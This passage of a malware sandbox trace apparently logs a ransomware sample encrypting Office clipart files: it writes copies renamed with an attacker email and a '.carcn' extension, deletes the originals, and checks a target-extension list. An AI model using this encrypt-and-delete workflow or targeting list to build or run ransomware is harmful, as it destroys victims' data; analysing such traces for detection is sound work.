lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0303.346] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0303.347] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.347] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.347] SetEndOfFile (hFile=0x340) returned 1 [0303.347] CloseHandle (hObject=0x340) returned 1 [0303.347] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.347] SetEndOfFile (hFile=0x35c) returned 1 [0303.348] CloseHandle (hObject=0x35c) returned 1 [0303.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0303.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.349] lstrlenW (lpString=".doc") returned 4 [0303.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.349] lstrlenW (lpString=".docx") returned 5 [0303.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.349] lstrlenW (lpString=".pdf") returned 4 [0303.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.349] lstrlenW (lpString=".xls") returned 4 [0303.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.349] lstrlenW (lpString=".xlsx") returned 5 [0303.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.350] lstrlenW (lpString=".ppt") returned 4 [0303.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.350] lstrlenW (lpString=".zip") returned 4 [0303.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.350] lstrlenW (lpString=".rar") returned 4 [0303.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.350] lstrlenW (lpString=".bz2") returned 4 [0303.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.350] lstrlenW (lpString=".7z") returned 3 [0303.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.350] lstrlenW (lpString=".dbf") returned 4 [0303.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.350] lstrlenW (lpString=".1cd") returned 4 [0303.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.350] lstrlenW (lpString=".jpg") returned 4 [0303.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.350] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.351] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.351] GetLastError () returned 0x0 [0303.351] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x5664, lpOverlapped=0x0) returned 1 [0303.352] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x5670, lpOverlapped=0x0) returned 1 [0303.354] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.354] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.354] SetEndOfFile (hFile=0x340) returned 1 [0303.354] CloseHandle (hObject=0x340) returned 1 [0303.354] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.354] SetEndOfFile (hFile=0x35c) returned 1 [0303.355] CloseHandle (hObject=0x35c) returned 1 [0303.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0303.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.356] lstrlenW (lpString=".doc") returned 4 [0303.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.356] lstrlenW (lpString=".docx") returned 5 [0303.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.356] lstrlenW (lpString=".pdf") returned 4 [0303.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.356] lstrlenW (lpString=".xls") returned 4 [0303.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.356] lstrlenW (lpString=".xlsx") returned 5 [0303.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.356] lstrlenW (lpString=".ppt") returned 4 [0303.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.356] lstrlenW (lpString=".zip") returned 4 [0303.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.357] lstrlenW (lpString=".rar") returned 4 [0303.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString=".bz2") returned 4 [0303.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString=".7z") returned 3 [0303.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.357] lstrlenW (lpString=".dbf") returned 4 [0303.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.357] lstrlenW (lpString=".1cd") returned 4 [0303.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.357] lstrlenW (lpString=".jpg") returned 4 [0303.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.357] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.357] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.358] GetLastError () returned 0x0 [0303.358] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0303.359] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0303.361] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.361] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.361] SetEndOfFile (hFile=0x340) returned 1 [0303.361] CloseHandle (hObject=0x340) returned 1 [0303.361] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.361] SetEndOfFile (hFile=0x35c) returned 1 [0303.362] CloseHandle (hObject=0x35c) returned 1 [0303.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0303.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.363] lstrlenW (lpString=".doc") returned 4 [0303.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.363] lstrlenW (lpString=".docx") returned 5 [0303.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.363] lstrlenW (lpString=".pdf") returned 4 [0303.363] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.363] lstrlenW (lpString=".xls") returned 4 [0303.363] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.363] lstrlenW (lpString=".xlsx") returned 5 [0303.363] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.363] lstrlenW (lpString=".ppt") returned 4 [0303.363] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.363] lstrlenW (lpString=".zip") returned 4 [0303.363] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.363] lstrlenW (lpString=".rar") returned 4 [0303.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.363] lstrlenW (lpString=".bz2") returned 4 [0303.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.363] lstrlenW (lpString=".7z") returned 3 [0303.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.364] lstrlenW (lpString=".dbf") returned 4 [0303.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.364] lstrlenW (lpString=".1cd") returned 4 [0303.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0303.364] lstrlenW (lpString=".jpg") returned 4 [0303.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.364] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.364] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.365] GetLastError () returned 0x0 [0303.365] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0xb10, lpOverlapped=0x0) returned 1 [0303.366] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xb20, lpOverlapped=0x0) returned 1 [0303.367] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.367] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.367] SetEndOfFile (hFile=0x340) returned 1 [0303.367] CloseHandle (hObject=0x340) returned 1 [0303.367] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.367] SetEndOfFile (hFile=0x35c) returned 1 [0303.368] CloseHandle (hObject=0x35c) returned 1 [0303.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0303.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.369] lstrlenW (lpString=".doc") returned 4 [0303.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.369] lstrlenW (lpString=".docx") returned 5 [0303.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.369] lstrlenW (lpString=".pdf") returned 4 [0303.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.369] lstrlenW (lpString=".xls") returned 4 [0303.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.369] lstrlenW (lpString=".xlsx") returned 5 [0303.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.369] lstrlenW (lpString=".ppt") returned 4 [0303.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.369] lstrlenW (lpString=".zip") returned 4 [0303.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.369] lstrlenW (lpString=".rar") returned 4 [0303.369] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.369] lstrlenW (lpString=".bz2") returned 4 [0303.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.370] lstrlenW (lpString=".7z") returned 3 [0303.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.370] lstrlenW (lpString=".dbf") returned 4 [0303.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.370] lstrlenW (lpString=".1cd") returned 4 [0303.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.370] lstrlenW (lpString=".jpg") returned 4 [0303.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.370] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.370] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.371] GetLastError () returned 0x0 [0303.371] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0303.373] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0303.375] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.375] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.375] SetEndOfFile (hFile=0x340) returned 1 [0303.375] CloseHandle (hObject=0x340) returned 1 [0303.375] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.375] SetEndOfFile (hFile=0x35c) returned 1 [0303.680] CloseHandle (hObject=0x35c) returned 1 [0303.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0303.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.681] lstrlenW (lpString=".doc") returned 4 [0303.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.681] lstrlenW (lpString=".docx") returned 5 [0303.681] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.681] lstrlenW (lpString=".pdf") returned 4 [0303.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.681] lstrlenW (lpString=".xls") returned 4 [0303.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.681] lstrlenW (lpString=".xlsx") returned 5 [0303.681] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.681] lstrlenW (lpString=".ppt") returned 4 [0303.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.681] lstrlenW (lpString=".zip") returned 4 [0303.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.681] lstrlenW (lpString=".rar") returned 4 [0303.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.681] lstrlenW (lpString=".bz2") returned 4 [0303.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.681] lstrlenW (lpString=".7z") returned 3 [0303.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.681] lstrlenW (lpString=".dbf") returned 4 [0303.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.682] lstrlenW (lpString=".1cd") returned 4 [0303.682] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0303.682] lstrlenW (lpString=".jpg") returned 4 [0303.682] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.682] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.682] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0303.682] GetLastError () returned 0x0 [0303.682] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x829a, lpOverlapped=0x0) returned 1 [0303.684] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0303.687] ReadFile (in: hFile=0x35c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.687] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.687] SetEndOfFile (hFile=0x340) returned 1 [0303.687] CloseHandle (hObject=0x340) returned 1 [0303.687] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.687] SetEndOfFile (hFile=0x35c) returned 1 [0303.688] CloseHandle (hObject=0x35c) returned 1 [0303.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0303.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0303.689] lstrlenW (lpString=".doc") returned 4 